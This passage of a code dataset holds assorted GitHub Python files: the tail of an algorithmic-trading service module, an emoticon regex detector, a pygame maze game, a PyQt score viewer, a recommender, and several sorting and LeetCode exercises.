#\n # leg2CreateOrder = CreateOrderSchema(strategy=\"string\",\n # exchange=\"NSE\",\n # segment=\"nse_cm\",\n # symbol=\"string\",\n # productType=\"CNC\",\n # orderType=\"L\",\n # orderPurpose=\"Entry\",\n # transactionType=\"B\",\n # quantity=0,\n # orderPrice=0,\n # triggerPrice=0,\n # validity=\"DAY\",\n # amo=\"NO\",\n # tag=\"\"\n # )\n #\n # leg1Details = await self.algoTrade.entry(leg1CreateOrder)\n # leg2Details = await self.algoTrade.entry(leg2CreateOrder)\n #\n # await self.create(spread)\n\n\n async def create_debit_spread(self,signal):\n pass\n\n async def create_naked_spread(self,signal):\n algoTrade = AlgoTrade(self.broker,self.userid)\n\n # leg1CreateOrder = CreateOrderSchema(strategy=signal.get('strategy'),\n # exchange=signal.get('exchange'),\n # segment=signal.get('segment'),\n # symbol=signal.get('symbol'),\n # productType=signal.get('productType'),\n # orderType=signal.get('orderType'),\n # orderPurpose=signal.get('orderPurpose'),\n # transactionType=signal.get('transactionType'),\n # quantity=signal.get('quantity'),\n # orderPrice=signal.get('orderPrice'),\n # triggerPrice=signal.get('triggerPrice'),\n # validity=signal.get('validity'),\n # amo=signal.get('amo'),\n # tag=signal.get('tag')\n # )\n\n leg1Details = await algoTrade.entry(signal)\n\n spread_data = SpreadsSchemaIn(Broker=self.broker,\n UserId=self.userid,\n Date=str(datetime.date.today()),\n Symbol=signal.get('symbol'),\n Status=\"Active\",\n ExpiryDate=\"2023-12-31\",\n ExpiryType=\"Weekly_Expiry\",\n ProductType=signal.get('productType'),\n Exchange=signal.get('exchange'),\n Segment=signal.get('segment'),\n TradeType=\"Systematic\",\n Trend=\"Buy\",\n Spot_Price=150.0,\n Strike=160.0,\n Leg1_Strike=0,\n Leg1_Side='Buy',\n Leg1_Symbol=signal.get('symbol'),\n Leg1_Qty=signal.get('quantity'),\n Leg1_BuyPrice=0,\n Leg1_BuyOrderId=leg1Details['data'][0].get('nOrdNo'),\n Leg1_SellPrice=0,\n Leg1_SellOrderId=0,\n Leg1_Sl_Price=0,\n Leg1_Sl_OrderId=0,\n Leg1_Tg_Price=0,\n Leg1_Tg_OrderId=0,\n Leg1_Pnl=0,\n Leg2_Strike=0,\n Leg2_Side=None,\n Leg2_Symbol='xxx',\n Leg2_Qty=0,\n Leg2_BuyPrice=0,\n Leg2_BuyOrderId=0,\n Leg2_SellPrice=0,\n Leg2_SellOrderId=0,\n Leg2_Sl_Price=0,\n Leg2_Sl_OrderId=0,\n Leg2_Tg_Price=0,\n Leg2_Tg_OrderId=0,\n Leg2_Pnl=0,\n Trade_StartTime=str(datetime.datetime.now().replace(microsecond=0)),\n Trade_EndTime=str(datetime.datetime.now().replace(microsecond=0)),\n Total_Premium=250.0,\n Total_Sl=17.0,\n LastPrice=155.0,\n LastPriceDate=str(datetime.datetime.now().replace(microsecond=0)),\n MarketValue=750.0,\n Strategy=signal.get('strategy'),\n Instrument=signal.get('instrument'),\n Pyramid=1,\n UnderlyingSymbol=signal.get('underlyingSymbol'),\n TradeDuration=signal.get('tradeDuration'),\n SpreadNumber=1,\n SpreadType=\"NakedBuy\",\n SpreadStatus=\"Full\",\n Pnl=150.0,\n Charges=5.0,\n PnlNet=145.0,\n Remarks=\"This is a dummy record\",\n )\n\n # spread_data = SpreadsSchemaIn(Broker=self.broker,\n # UserId=self.userid,\n # Date=str(datetime.date.today()),\n # Symbol=signal.get('symbol'),\n # Status=\"Active\",\n # ExpiryDate=\"2023-12-31\",\n # ExpiryType=\"Weekly_Expiry\",\n # ProductType=signal.get('productType'),\n # Exchange=signal.get('exchange'),\n # Segment=signal.get('segment'),\n # TradeType=\"Systematic\",\n # Trend=\"Buy\",\n # Spot_Price=150.0,\n # Strike=160.0,\n # Leg1_Strike=leg1Details.get(''),\n # Leg1_Side=leg1Details.get(''),\n # Leg1_Symbol=leg1Details.get(''),\n # Leg1_Qty=leg1Details.get(''),\n # Leg1_BuyPrice=leg1Details.get(''),\n # Leg1_BuyOrderId=leg1Details.get(''),\n # Leg1_SellPrice=leg1Details.get(''),\n # Leg1_SellOrderId=leg1Details.get(''),\n # Leg1_Sl_Price=leg1Details.get(''),\n # Leg1_Sl_OrderId=leg1Details.get(''),\n # Leg1_Tg_Price=leg1Details.get(''),\n # Leg1_Tg_OrderId=leg1Details.get(''),\n # Leg1_Pnl=leg1Details.get(''),\n # Leg2_Strike=leg1Details.get(''),\n # Leg2_Side=leg1Details.get(''),\n # Leg2_Symbol=leg1Details.get(''),\n # Leg2_Qty=leg1Details.get(''),\n # Leg2_BuyPrice=leg1Details.get(''),\n # Leg2_BuyOrderId=leg1Details.get(''),\n # Leg2_SellPrice=leg1Details.get(''),\n # Leg2_SellOrderId=leg1Details.get(''),\n # Leg2_Sl_Price=leg1Details.get(''),\n # Leg2_Sl_OrderId=leg1Details.get(''),\n # Leg2_Tg_Price=leg1Details.get(''),\n # Leg2_Tg_OrderId=leg1Details.get(''),\n # Leg2_Pnl=leg1Details.get(''),\n # Trade_StartTime=str(datetime.datetime.now().replace(microsecond=0)),\n # Trade_EndTime=str(datetime.datetime.now().replace(microsecond=0)),\n # Total_Premium=250.0,\n # Total_Sl=17.0,\n # LastPrice=155.0,\n # LastPriceDate=str(datetime.datetime.now().replace(microsecond=0)),\n # MarketValue=750.0,\n # Strategy=signal.get('strategy'),\n # Instrument=signal.get('instrument'),\n # Pyramid=1,\n # UnderlyingSymbol=signal.get('underlyingSymbol'),\n # TradeDuration=signal.get('tradeDuration'),\n # SpreadNumber=1,\n # SpreadType=\"NakedBuy\",\n # SpreadStatus=\"Full\",\n # Pnl=150.0,\n # Charges=5.0,\n # PnlNet=145.0,\n # Remarks=\"This is a dummy record\",\n # )\n\n spread = await self.create(spread_data)\n return spread\n\n async def create_strangle_spread(self,signal):\n pass\n\n\nclass AlgoHedge:\n def __init__(self,broker,userid):\n super().__init__()\n self.broker = broker\n self.userid = userid\n self.HedgesRepository = None\n\n async def async_init(self):\n self.HedgesRepository = await get_HedgesRepository()\n return self\n\n def __await__(self):\n return self.async_init().__await__()\n\n async def get_hedges_strategy(self, strategy):\n try:\n hedges = await self.HedgesRepository.fetch_by_strategy(strategy)\n if len(hedges) == 0:\n raise DataNotFoundException(f\"Hedge data not found\")\n # return [HedgesSchemaOut(**record.__dict__) for record in hedges]\n return jsonable_encoder(hedges)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n async def get_hedges_strategy_status(self, strategy,status):\n try:\n hedges = await self.HedgesRepository.fetch_by_strategy_status(strategy,status)\n if len(hedges) == 0:\n raise DataNotFoundException(f\"Hedge data not found\")\n # return [HedgesSchemaOut(**record.__dict__) for record in hedges]\n return jsonable_encoder(hedges)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def get_hedge(self, hedgeid):\n try:\n hedge_data = await self.HedgesRepository.fetch_by_hedgeid(hedgeid)\n if hedge_data is None:\n raise DataNotFoundException(f\"Hedge data not found\")\n # return HedgesSchemaOut(**hedge_data.__dict__)\n return jsonable_encoder(hedge_data)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def get_hedges_all(self):\n try:\n hedges = await self.HedgesRepository.fetch_all()\n if len(hedges) == 0:\n raise DataNotFoundException(f\"Hedge data not found\")\n # return [HedgesSchemaOut(**record.__dict__) for record in hedges]\n return jsonable_encoder(hedges)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n\n async def update(self, hedge):\n try:\n hedge_data = await self.HedgesRepository.update(hedge)\n if hedge_data is None:\n raise DataNotFoundException(f\"Hedge data not found\")\n # return HedgesSchemaOut(**hedge_data.__dict__)\n return jsonable_encoder(hedge_data)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def delete(self, hedgeid):\n try:\n hedge_data = await self.HedgesRepository.delete(hedgeid)\n if hedge_data is None:\n raise DataNotFoundException(f\"Hedge data not found {hedgeid}\")\n # return HedgesSchemaOut(**hedge_data.__dict__)\n return jsonable_encoder(hedge_data)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n async def create(self,hedge):\n try:\n hedge_data = await self.HedgesRepository.create(hedge)\n # return HedgesSchemaOut(**hedge_data.__dict__)\n return jsonable_encoder(hedge_data)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n\nclass AlgoPLFundsRisk:\n def __init__(self,broker,userid):\n super().__init__()\n self.broker = broker\n self.userid = userid\n self.PLFundsRiskRepository = None\n\n async def async_init(self):\n self.PLFundsRiskRepository = await get_PLFundsRiskRepository()\n return self\n\n def __await__(self):\n return self.async_init().__await__()\n\n async def get_plfundsrisks_data(self, date):\n try:\n plfundsrisks = await self.PLFundsRiskRepository.fetch_by_date(date)\n if len(plfundsrisks) == 0:\n raise DataNotFoundException(f\"PLFundsRisk data not found : {date}\")\n # return [PLFundsRiskSchema(**record.__dict__) for record in plfundsrisks]\n return jsonable_encoder(plfundsrisks)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n\n async def get_plfundsrisks_all(self):\n try:\n plfundsrisks = await self.PLFundsRiskRepository.fetch_all()\n if len(plfundsrisks) == 0:\n raise DataNotFoundException(f\"PLFundsRisk data not found\")\n # return [PLFundsRiskSchema(**record.__dict__) for record in plfundsrisks]\n return jsonable_encoder(plfundsrisks)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n\nclass AlgoPLDateSummary:\n def __init__(self,broker,userid):\n super().__init__()\n self.broker = broker\n self.userid = userid\n self.PLDateSummaryRepository = None\n\n async def async_init(self):\n self.PLDateSummaryRepository = await get_PLDateSummaryRepository()\n return self\n\n def __await__(self):\n return self.async_init().__await__()\n\n async def get_pldatesummarys_data(self, date):\n try:\n pldatesummarys = await self.PLDateSummaryRepository.fetch_by_date(date)\n if len(pldatesummarys) == 0:\n raise DataNotFoundException(f\"PLDateSummary data not found : {date}\")\n # return [PLDateSummarySchema(**record.__dict__) for record in pldatesummarys]\n return jsonable_encoder(pldatesummarys)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\n\n async def get_pldatesummarys_all(self):\n try:\n pldatesummarys= await self.PLDateSummaryRepository.fetch_all()\n if len(pldatesummarys) == 0:\n raise DataNotFoundException(f\"PLDateSummary data not found\")\n # return [PLDateSummarySchema(**record.__dict__) for record in pldatesummarys]\n return jsonable_encoder(pldatesummarys)\n except Exception as e:\n await log_with_bot('e', e)\n raise e\n\nclass AlgoTrade:\n def __init__(self,broker,userid):\n super().__init__()\n self.broker = broker\n self.userid = userid\n self.algoBroker = AlgoBroker(self.broker, self.userid)\n\n async def async_init(self):\n return self\n\n def __await__(self):\n return self.async_init().__await__()\n\n async def entry(self,order):\n tradeDetails = {}\n mainOrderDetails = await self.algoBroker.create_order(order)\n # if mainOrderDetails is not None:\n # print(mainOrderDetails)\n\n # slOrderDetails = await self.algoBroker.create_order(order)\n # if slOrderDetails is not None:\n # print(slOrderDetails)\n #\n # tgOrderDetails = await self.algoBroker.create_order(order)\n # if tgOrderDetails is not None:\n # print(tgOrderDetails)\n\n return mainOrderDetails\n\n async def exit(self,order):\n exitDetails = self.algoBroker.create_order(order)\n return exitDetails\n\n\nclass AlgoUser():\n def __init__(self, broker, userid):\n self.broker = broker\n self.userid = userid\n\n async def execute_signals(self,signallist):\n algoSpread = await AlgoSpread(self.broker,self.userid)\n\n for signal in signallist:\n await log_with_bot('i', f'signal : {signal}')\n\n resp = await algoSpread.create_naked_spread(signal)\n print(resp)\n\n\n\n # spread = await algoSpread.create_credit_spread(signal)\n #\n # # activeSpreads = await self.algoSpread.get_spreads_data(signal)\n # # for spread in activeSpreads:\n # # print(spread)\n\n\n\n","repo_name":"lohithkg/AlgoAPI_User","sub_path":"services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":22954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"33240245698","text":"#-*-coding:utf-8-*-\nimport re\n\nmetachr = '^$*+?{}[]\\|()'\n\nheads = u'''>ζↁ━இㅇ(┌/∑┐ψ〒ʕ└⊙<√=☜ㄟ〠Σ•ತ✧╰(*-/☮Oε┴‷〈ಸ爻<︿乁♡bˋ⁄ˇఠ◉ಠ○vm#◎⇎Ψmb◔♀ⶸლ\\。 ̄◢づ‧≧흫…╭o╮ჰ≡癶凸~ヽヾ'''\ntails = u'''ↁノ「↑̖〠ิ▽♀⁄ˇ◣~⑤╮凵︿・|━)dʔಠ√ತ'+/°3ืಸ;?ξツఠm﹏◎\"⇎。≡╩╭oჴஇ☆┌з┐〒↗⊙☮☞•…*.┴:\︴♡σ♂d○●Z ̄b≦♪╬╰癶>シ~#〉3↘┛”;!✧)Ψ-ⶸ=_ㅇψˊノ◔ლaづ╧흫m╯y凸'''\nfor i in metachr:\n heads = heads.replace(i, '\\\\'+i)\n tails = tails.replace(i, '\\\\'+i)\n\n\ndef ensure_unicode(string):\n if not isinstance(string, unicode):\n try:\n string = string.decode('utf-8')\n except:\n raise UnicodeError('Input should be UTF8 or UNICODE')\n return string\n\ndef clear_num(txt):\n num_pat = re.compile(u'''([0-9\\-.:/]{2,})''')\n res = num_pat.sub('', txt)\n return res\n\ndef post_check(candlst):\n con = []\n for i in candlst:\n while True:\n i_mod = i.strip()\n i_mod = re.sub(u'\\([一-龥]{1,}[\\)]{0,1}', '', i_mod)\n i_mod = re.sub(u'([一-龥]{1,})', '', i_mod)\n if len(set(i_mod)) < 3:\n break\n else:\n if re.search(u'^m:[0-9a-zA-Z一-龥]', i_mod): # m:大大\n break\n elif re.search(u'^~[0-9a-zA-Z一-龥]', i_mod): #~4次\n break\n elif i_mod == i:\n con.append(i_mod)\n break\n else:\n i = i_mod \n continue\n return con\n\ndef exclude_cht(txt):\n pat = re.compile(u'''(?!.*[.a-zA-Z][.a-zA-Z])([一-龥][一-龥]{2,})''')\n while True:\n res = pat.sub('', txt)\n if res == txt:\n return res\n else:\n txt = res\n exclude_cht(txt)\n\ndef find_emo(txt, source=False):\n txt = ensure_unicode(txt)\n txt_mod = clear_num(txt)\n txt_mod = exclude_cht(txt_mod)\n emo_pat = re.compile(u'''(?!.*[.a-zA-Z][.a-zA-Z])([%s].{3,})''' % heads)\n res = emo_pat.findall(txt_mod)\n res = post_check(res)\n res = [i for i in res if i in txt]\n if source == True:\n for x in res:\n txt = txt.replace(x, ''+x+'') \n return (res,txt)\n return res\n\n","repo_name":"amigcamel/Jseg","sub_path":"jseg/Emodet/emodet2.py","file_name":"emodet2.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"68"}
+{"seq_id":"37517240716","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*\nimport pygame\nfrom pygame.locals import *\nfrom classes import *\nfrom constantes import *\n#boucle jeu, ecran, accueil, init()\n\npygame.init()\nfenetre=pygame.display.set_mode((450,450),FULLSCREEN)\nfond = pygame.image.load(image_accueil).convert()\nfenetre.blit(fond,(0,0))\npygame.display.flip()\ncontinuer=1\nmenu=1\njouer=1\nniveau=0\nchoix=0\narrivee=[]\nwhile continuer:\n while menu:\n pygame.time.Clock().tick(30)\n for event in pygame.event.get():\n if event.type==QUIT or (event.type==KEYDOWN and event.key==K_ESCAPE):\n menu=0\n continuer=0\n jouer=0\n elif event.type == KEYDOWN:\n if event.key == K_F1:\n \n choix = \"n1\"\n elif event.key == K_F2:\n \n choix = \"n2\"\n \n if choix!=0: \n niveau = Niveau(choix)\n niveau.generer()\n fenetre=niveau.affichage()\n menu=0\n depart=niveau.depart()\n arrivee=niveau.arrivee()\n dk=Joueur(depart[0],depart[1])\n fenetre.blit(dk.dk,(dk.pos_x*30,dk.pos_y*30))\n\n while jouer:\n pygame.display.flip()\n pygame.time.Clock().tick(30)\n if arrivee[0]==dk.pos_x and arrivee[1]==dk.pos_y:\n continuer=0\n print(\"Vous avez gagné\")\n jouer=0\n for event in pygame.event.get():\n if event.type==QUIT:\n jouer=0\n continuer=0\n if event.type==KEYDOWN:\n if event.key==K_UP and dk.pos_y>0 and niveau.structure[dk.pos_x][dk.pos_y-1]!=\"m\":\n dk.up()\n elif event.key==K_DOWN and dk.pos_y<14 and niveau.structure[dk.pos_x][dk.pos_y+1]!=\"m\":\n dk.down()\n elif event.key==K_LEFT and dk.pos_x>0 and niveau.structure[dk.pos_x-1][dk.pos_y]!=\"m\":\n dk.left()\n elif event.key==K_RIGHT and dk.pos_x<14 and niveau.structure[dk.pos_x+1][dk.pos_y]!=\"m\":\n dk.right()\n fenetre=niveau.affichage()\n fenetre.blit(dk.dk,(dk.pos_x*30,dk.pos_y*30))\n \n","repo_name":"tsalmon/labyrinthe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"38029613085","text":"# https://leetcode.com/problems/count-items-matching-a-rule/\n\nclass Solution:\n def countMatches(self, items: List[List[str]], ruleKey: str, ruleValue: str) -> int:\n \n rule_index = {\n \"type\" : 0,\n \"color\" : 1,\n \"name\" : 2\n }\n \n condition = rule_index[ruleKey]\n \n count = 0\n for rows in items:\n if rows[condition] == ruleValue:\n count += 1\n\n return count\n","repo_name":"HunkWhoCodes/LeetCodeSolutions","sub_path":"PythonSolutions/1773-CountItemsMatchingARulesolution/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"3619902429","text":"def insertionSort(array):\n\n for step in range(1, len(array)):\n key = array[step]\n j = step - 1\n \n while j >= 0 and key < array[j]:\n array[j + 1] = array[j]\n j = j - 1\n \n array[j + 1] = key\n\n\ndata = [int(input(\"Enter a number: \")) for i in range(int(input(\"Enter the size of the array: \")))]\n\nprint(\"Unsorted array: \", data)\ninsertionSort(data)\nprint('Sorted Array in Ascending Order:')\nprint(data)","repo_name":"subhashishnabajja/college-code","sub_path":"fy/sem-2/Algorithm/practical-5/insertion-sort.py","file_name":"insertion-sort.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"1008151840","text":"# import python modules\nimport glob\nfrom threading import Timer\nfrom time import sleep, time\nfrom random import randrange\nimport sys\n\n# import PyQt5 modules (universal with PySide2)\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtCore import pyqtSlot as Slot\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QPushButton\n\n# import project modules\nfrom score import ScoreDev\n# from ../audioEngine import Audio_engine\n\n\nclass MainApplication(QWidget):\n\n def __init__(self):\n QWidget.__init__(self)\n # is unity running the notation png's?\n self.unity_score = True\n\n # set vars and params\n self.running = True\n\n self.score_dict = {\"top_left\": {\"time\": time(), \"image\": None},\n \"top_right\": {\"time\": time(), \"image\": None},\n \"bottom_left\": {\"time\": time(), \"image\": None},\n \"bottom_right\": {\"time\": time(), \"image\": None}}\n\n self.score_dict_list = [\"top_left\",\n \"top_right\",\n \"bottom_left\",\n \"bottom_right\"]\n\n # generate the ML score images\n # todo - find better solution for changing global font colour\n # todo - current solution was to change color in brown/core/stem.py\n # and brown/constants.py\n score = ScoreDev()\n\n # start the audio listener thread\n # self.audiobot = Audio_engine()\n\n # UI setup and off we go\n self.title = 'Nautilus'\n self.left = 10\n self.top = 10\n self.width = 320\n self.height = 200\n self.initUI()\n\n def initUI(self):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n\n # create all labels\n if self.unity_score:\n # create a start button\n self.start_button = QPushButton(\"START\", self)\n self.start_button.setCheckable(True)\n self.start_button.toggle()\n self.start_button.move(100, 70)\n\n # adding action to the button\n self.start_button.clicked.connect(self.start_score)\n\n # and off we go\n self.show()\n\n else:\n # owns the images that were produced by the scorebot\n self.image_files = glob.glob('data/images/*.png')\n\n # create labels\n self.createLabels()\n\n # and off we go\n self.gui_thread = None\n self.update_gui()\n\n @Slot()\n def start_score(self):\n if not self.start_button.isChecked():\n print(\"Starting\")\n self.start_button.setText(\"STOP\")\n self.audiobot.go_bang = True\n else:\n print(\"Stopping\")\n self.audiobot.go_bang = False\n self.audiobot.running = False\n self.start_button.setText(\"START\")\n # todo - close down all other funcs & threads\n sleep(1)\n print(\"bye bye\")\n self.running = False\n\n # update the GUI and check the quad images\n def update_gui(self):\n # print(\"-------- updating gui\")\n while self.running:\n self.update()\n self.updateImage()\n self.gui_thread = Timer(0.1, self.update_gui)\n self.gui_thread.start()\n\n def createLabels(self):\n screen_resolution = self.geometry()\n height = screen_resolution.height()\n width = screen_resolution.width()\n\n # widget params\n self.setGeometry(100, 100, 900, 700)\n\n # creating a label widget\n self.top_left_label = QLabel(self)\n\n # moving position\n self.top_left_label.move(0, 0)\n\n # setting up border\n self.top_left_label.setStyleSheet(\"border: 1px solid black;\")\n\n # resizing the widget\n self.top_left_label.resize(width / 2, height / 2)\n\n # creating a label widget\n self.top_right_label = QLabel(self)\n\n # moving position\n self.top_right_label.move(width / 2, 0)\n\n # setting up border\n self.top_right_label.setStyleSheet(\"border: 1px solid black;\")\n\n # resizing the widget\n self.top_right_label.resize(width / 2, height / 2)\n\n # creating a label widget\n self.bottom_left_label = QLabel(self)\n\n # moving position\n self.bottom_left_label.move(0, height / 2)\n\n # setting up border\n self.bottom_left_label.setStyleSheet(\"border: 1px solid black;\")\n\n # resizing the widget\n self.bottom_left_label.resize(width / 2, height / 2)\n\n # creating a label widget\n self.bottom_right_label = QLabel(self)\n\n # moving position\n self.bottom_right_label.move(width / 2, height / 2)\n\n # setting up border\n self.bottom_right_label.setStyleSheet(\"border: 1px solid black;\")\n\n # resizing the widget\n self.bottom_right_label.resize(width / 2, height / 2)\n\n def updateImage(self):\n # check the status of each quad\n for quad in self.score_dict_list:\n t = self.score_dict[quad][\"time\"]\n\n # for key, value in self.score_dict.items():\n # if times up then change image in quadrant\n if t < time():\n file = self.image_files[randrange(len(self.image_files))]\n image_duration = t + (float(file[-7:-4]) * (randrange(2, 20)))\n # self.score_dict[key] = image_duration\n self.score_dict[quad][\"time\"] = image_duration\n # print(\"here\", quad)\n\n # set the new image to a pixmap and put into quad\n self.pixmap = QPixmap(file)\n if quad == \"top_left\":\n self.top_left_label.setPixmap(self.pixmap)\n elif quad == \"top_right\":\n self.top_right_label.setPixmap(self.pixmap)\n elif quad == \"bottom_left\":\n self.bottom_left_label.setPixmap(self.pixmap)\n else:\n self.bottom_right_label.setPixmap(self.pixmap)\n\n\"\"\"this is here for access from elsewhere\nand is written into the note-tokeniser file\"\"\"\nclass NoteTokenizer:\n def __init__(self):\n self.notes_to_index = {}\n self.index_to_notes = {}\n self.num_of_word = 0\n self.unique_word = 0\n self.notes_freq = {}\n\n def transform(self, list_array):\n \"\"\" Transform a list of note in string into index.\n\n Parameters\n ==========\n list_array : list\n list of note in string format\n\n Returns\n =======\n The transformed list in numpy array.\n\n \"\"\"\n transformed_list = []\n for instance in list_array:\n transformed_list.append([self.notes_to_index[note] for note in instance])\n return np.array(transformed_list, dtype=np.int32)\n\n def partial_fit(self, notes):\n \"\"\" Partial fit on the dictionary of the tokenizer\n\n Parameters\n ==========\n notes : list of notes\n\n \"\"\"\n for note in notes:\n note_str = ','.join(str(a) for a in note)\n if note_str in self.notes_freq:\n self.notes_freq[note_str] += 1\n self.num_of_word += 1\n else:\n self.notes_freq[note_str] = 1\n self.unique_word += 1\n self.num_of_word += 1\n self.notes_to_index[note_str], self.index_to_notes[self.unique_word] = self.unique_word, note_str\n\n def add_new_note(self, note):\n \"\"\" Add a new note into the dictionary\n\n Parameters\n ==========\n note : str\n a new note who is not in dictionary.\n\n \"\"\"\n assert note not in self.notes_to_index\n self.unique_word += 1\n self.notes_to_index[note], self.index_to_notes[self.unique_word] = self.unique_word, note\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n image_viewer = MainApplication()\n # image_viewer.showFullScreen()\n # image_viewer.show()\n sys.exit(app.exec_())\n","repo_name":"DigiScore/nautilus","sub_path":"makeScore/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21577990040","text":"\"\"\"\nカメのアルルは今日 N 個の授業を受けようとしています。\n現在は時刻 0 で、授業 i は時刻Liに始まり、時刻Riに終わります。 授業間の移動時間は 0 であるとして良いですが、授業に遅れて入室することや、早めに退出することはできません。\nアルルは N 個の授業すべてを受けられるでしょうか。\n\"\"\"\n\nN = int(input())\n\ntime_table = []\nfor i in range(N):\n L, R = map(int, input().split())\n time_table.append((L, R))\n\ntime_table.sort(key=lambda x:x[0])\n\nflg = True\n\nfor i in range(1, N):\n if time_table[i-1][1] >= time_table[i][1]:\n flg = False\n break\n\nif flg == True:\n print(\"Yes\")\nelse:\n print(\"No\")\n \n","repo_name":"yuji-sgs/algo-style","sub_path":"ソートアルゴリズム/ソートを活用する問題/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"12212171374","text":"from app import myDb\nfrom collections import defaultdict\nfrom surprise import Reader\nfrom surprise import SVD\nfrom surprise import Dataset\nfrom surprise import NormalPredictor\nfrom surprise.model_selection import cross_validate\nimport pandas as pd\n\ndb = myDb['users']\n\nclass Recommand():\n def __init__(self):\n pass\n\n def get_top_n(predictions, n):\n top_n = defaultdict(list)\n for uid, iid, true_r, est, _ in predictions:\n top_n[uid].append((iid, est))\n for uid, user_ratings in top_n.items():\n user_ratings.sort(key=lambda x: x[1], reverse=True)\n top_n[uid] = user_ratings[:n]\n\n return top_n\n\n def gen_matrix(self):\n itemList = []\n userList = []\n ratingList = []\n result = db.find({})\n for i in result:\n if 'rate_map' in i:\n keysList = i['rate_map'].keys()\n for k in keysList:\n itemList.append(k)\n userList.append(i['username'])\n ratingList.append(i['rate_map'][k])\n ratings_dict = {'itemID': itemList,\n 'userID': userList,\n 'rating': ratingList}\n df = pd.DataFrame(ratings_dict)\n\n reader = Reader(rating_scale=(1, 10))\n\n data = Dataset.load_from_df(df[['userID', 'itemID', 'rating']], reader)\n data.split(n_folds=5)\n cross_validate(NormalPredictor(), data, cv=5 ,measures=['RMSE', 'MAE'],verbose=True)\n trainset = data.build_full_trainset()\n algo = SVD()\n algo.fit(trainset)\n print(trainset)\n testset = trainset.build_anti_testset()\n predictions = algo.test(testset)\n print(predictions)\n for i in predictions:\n print(i)\n return predictions\n","repo_name":"kingry1/book-pybackend","sub_path":"app/recommend/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21369082014","text":"import gzip\nimport shutil\n\n\nclass Tools:\n\n @staticmethod\n def gzip_file(output_path):\n gz_file_name = '%s.gz' % output_path\n try:\n with open(output_path, 'rb') as f_in, gzip.open(gz_file_name, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n return gz_file_name\n except Exception as e:\n raise Exception(\"Error when compress to gz file: \" + str(e))","repo_name":"Pangpang2/Python","sub_path":"worker/Reversion/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"10011622313","text":"# Approach 1: Two Pointers\nclass Solution1:\n def threeSumClosest(self, nums: list[int], target: int) -> int:\n diff = float(\"inf\")\n nums.sort()\n for i in range(len(nums)):\n lo, hi = i + 1, len(nums) - 1\n while lo < hi:\n sum = nums[i] + nums[lo] + nums[hi]\n if abs(target - sum) < abs(diff):\n diff = target - sum\n if sum < target:\n lo += 1\n else:\n hi -= 1\n if diff == 0:\n break\n return target - diff\n\n\n# Approach 2: Binary Search\nclass Solution2:\n def threeSumClosest(self, nums: list[int], target: int) -> int:\n pass\n # diff = float('inf')\n # nums.sort()\n # for i in range(len(nums)):\n # for j in range(i + 1, len(nums)):\n # complement = target - nums[i] - nums[j]\n # hi = bisect_right(nums, complement, j + 1)\n # lo = hi - 1\n # if hi < len(nums) and abs(complement - nums[hi]) < abs(diff):\n # diff = complement - nums[hi]\n # if lo > j and abs(complement - nums[lo]) < abs(diff):\n # diff = complement - nums[lo]\n # if diff == 0:\n # break\n # return target - diff\n\n\n# works for any k, not only for 3\nclass Solution:\n def threeSumClosest(self, nums: list[int], target: int) -> int:\n nums.sort()\n return\n\n def KSumClosest(self, nums: list[int], k: int, target: int):\n N = len(nums)\n if N == k:\n return sum(nums[:k])\n\n # target too small\n current = sum(nums[:k])\n if current >= target:\n return current\n\n # target too big\n current = sum(nums[-k:])\n if current <= target:\n return current\n\n if k == 1:\n return min([(x, abs(target - x)) for x in nums], key=lambda x: x[1])[0]\n\n closest = sum(nums[:k])\n for i, x in enumerate(nums[:-k+1]):\n if i > 0 and x == nums[i-1]:\n continue\n current = self.KSumClosest(nums[i+1:], k-1, target - x) + x\n if abs(target - current) < abs(target - closest):\n if current == target:\n return target\n else:\n closest = current\n\n return closest\n","repo_name":"open222333/Other-LeetCode","sub_path":"Python/0016-3SumClosest.py","file_name":"0016-3SumClosest.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
